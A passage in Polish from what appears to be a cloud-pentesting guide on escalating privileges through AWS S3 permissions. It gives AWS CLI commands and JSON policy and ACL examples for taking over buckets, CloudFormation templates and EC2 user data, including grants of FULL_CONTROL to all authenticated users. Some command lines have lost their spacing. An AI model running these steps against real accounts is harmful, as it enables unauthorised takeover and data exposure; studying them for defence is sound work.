Atakujący posiadający te uprawnienia do interesujących kubełków może przejąć zasoby i eskalować uprawnienia.
Na przykład atakujący posiadający te uprawnienia do kubełka cloudformation o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie mógł przejąć wdrożenie. Dostęp może zostać udzielony za pomocą następującej polityki:
I możliwe jest przejęcie kontroli, ponieważ istnieje krótkie okno czasowe od momentu przesłania szablonu do kubełka do momentu wdrożenia szablonu. Atakujący może po prostu utworzyć funkcję lambda w swoim koncie, która zostanie uruchomiona, gdy zostanie wysłane powiadomienie o kubełku, i przejąć kontrolę nadzawartością tego kubełka.
To uprawnienia do pobierania i przesyłania obiektów do S3. Wiele usług w AWS (i poza nim) używa magazynu S3 do przechowywania plików konfiguracyjnych.
Atakujący mający dostęp do odczytu do nich może znaleźć na nich wrażliwe informacje.
Atakujący mający dostęp do zapisu do nich mógłby zmodyfikować dane, aby nadużyć pewnej usługi i spróbować eskalacji uprawnień.
Oto kilka przykładów:
Jeśli instancja EC2 przechowuje dane użytkownika w kubełku S3, atakujący mógłby je zmodyfikować, aby wykonać dowolny kod wewnątrz instancji EC2.
s3:PutBucketPolicy
Atakujący, który musi być z tego samego konta, jeśli nie, pojawi się błąd The specified method is not allowed, z tym uprawnieniem będzie mógł nadać sobie więcej uprawnień do kubełków, pozwalając mu na odczyt, zapis, modyfikację, usuwanie i ujawnianie kubełków.
# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
s3:GetBucketAcl, s3:PutBucketAcl
Atakujący mógłby nadużyć tych uprawnień, aby przyznać sobie większy dostęp do określonych kubełków.
Należy zauważyć, że atakujący nie musi pochodzić z tego samego konta. Ponadto uzyskuje dostęp do zapisu.
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Atakujący mógłby wykorzystać te uprawnienia do przyznania sobie większego dostępu do określonych obiektów wewnątrz kubełków.
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Atakujący posiadający te uprawnienia powinien móc dodać Acl do określonej wersji obiektu